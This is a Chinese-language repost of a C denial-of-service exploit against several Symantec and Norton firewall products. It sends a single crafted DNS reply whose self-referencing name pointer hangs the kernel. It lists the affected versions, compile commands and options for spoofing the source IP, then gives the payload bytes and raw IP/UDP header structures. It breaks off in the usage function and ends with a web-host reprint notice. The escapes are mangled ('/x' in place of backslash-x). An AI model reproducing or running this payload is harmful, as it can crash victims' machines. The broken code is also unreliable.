赛门铁客防火墙D.o.s攻击代码

名称：HOD-symantec-firewall-DoS-expl.c:
版本：Version 0.1 coded by houseofdabus
翻译：luoluo
漏洞发现：www.eEye.com
漏洞描述：http://www.eeye.com/html/Research/Advisories/AD20040512B.html

* -------------------------------------------------------------------
* 程式测试:
* - Symantec Norton Personal Firewall 2004


* 受影响产品:
* - Symantec Norton Internet Security 2002
* - Symantec Norton Internet Security 2003
* - Symantec Norton Internet Security 2004
* - Symantec Norton Internet Security Professional 2002
* - Symantec Norton Internet Security Professional 2003
* - Symantec Norton Internet Security Professional 2004
* - Symantec Norton Personal Firewall 2002
* - Symantec Norton Personal Firewall 2003
* - Symantec Norton Personal Firewall 2004
* - Symantec Client Firewall 5.01, 5.1.1
* - Symantec Client Security 1.0, 1.1, 2.0(SCF 7.1)
* - Symantec Norton AntiSpam 2004

* -------------------------------------------------------------------
* 说明:
eEye Digital Security 现已发现在 Symantec 防火墙系列产品中存在的第二个安全漏洞，该漏洞能够被远程探测，并被利用来针对受影响系统进行拒绝服务攻击. 通过发送单个恶意 DNS (UDP 端口 53)响应包给存在漏洞的主机, 攻击者能够使 Symantec DNS 响应确认代码在内核中进入死循环，直至系统崩溃。受攻击主机只能通过物理重启，才能恢复运行.

* -------------------------------------------------------------------
* 编译:
* Win32/VC : cl -o HOD-sym-DoS-expl HOD-sym-DoS-expl.c ws2_32.lib
* Win32/cygwin: gcc -o HOD-sym-DoS-expl HOD-sym-DoS-expl.c -lws2_32.lib
* Linux : gcc -o HOD-sym-DoS-expl HOD-sym-DoS-expl.c -Wall

* -------------------------------------------------------------------
* 命令行参数/说明:

* HOD-symantec-firewall-DoS-expl [-fi:str] [-tp:int] [-ti:str] [-n:int]

* -fi:IP From (sender) IP address
* -tp:int To (recipient) port number
* -ti:IP To (recipient) IP address
* -n:int Number of times to send message
*
*/


#ifdef _WIN32
#pragma comment(lib,"ws2_32")
#pragma pack(1)
#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <ws2tcpip.h> /* IP_HDRINCL */
#include <stdio.h>
#include <stdlib.h>

#else
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/timeb.h>
#include <string.h>
#endif

#define MAX_MESSAGE 4068
#define MAX_PACKET 4096

#define DEFAULT_PORT 53
#define DEFAULT_IP "10.0.0.1"
#define DEFAULT_COUNT 1

#ifndef _WIN32
# define FAR
#endif


/* Define the DNS header */
char dnsreply[] =
"/xc9/x9c" /* Transaction ID */
"/x80/x00" /* Flags (bit 15: response) */
"/x00/x01" /* Number of questions */
"/x00/x01" /* Number of answer RRs */
"/x00/x00" /* Number of authority RRs */
"/x00/x00" /* Number of additional RRs */
"/xC0/x0C"; /* Compressed name pointer to itself */


/* Define the IP header */
typedef struct ip_hdr {
unsigned char ip_verlen; /* IP version & length */
unsigned char ip_tos; /* IP type of service */
unsigned short ip_totallength; /* Total length */
unsigned short ip_id; /* Unique identifier */
unsigned short ip_offset; /* Fragment offset field */
unsigned char ip_ttl; /* Time to live */
unsigned char ip_protocol; /* Protocol */
unsigned short ip_checksum; /* IP checksum */
unsigned int ip_srcaddr; /* Source address */
unsigned int ip_destaddr; /* Destination address */
} IP_HDR, *PIP_HDR, FAR* LPIP_HDR;

/* Define the UDP header */
typedef struct udp_hdr {
unsigned short src_portno; /* Source port number */
unsigned short dst_portno; /* Destination port number */
unsigned short udp_length; /* UDP packet length */
unsigned short udp_checksum; /* UDP checksum (optional) */
} UDP_HDR, *PUDP_HDR;


/* globals */
unsigned long dwToIP, // IP to send to
dwFromIP; // IP to send from (spoof)
unsigned short iToPort, // Port to send to
iFromPort; // Port to send from (spoof)
unsigned long dwCount; // Number of times to send
char strMessage[MAX_MESSAGE]; // Message to send



void
usage(char *progname) {
printf("Usage:/n/n");
printf("%s <-fi:SRC-IP> <-ti:VICTIM-IP> [-tp:DST-PORT] [-n:int]/n/n", progname);
printf(" -fi:IP From (sender) IP address/n");

文章整理：西部数码--专业提供域名注册、虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢!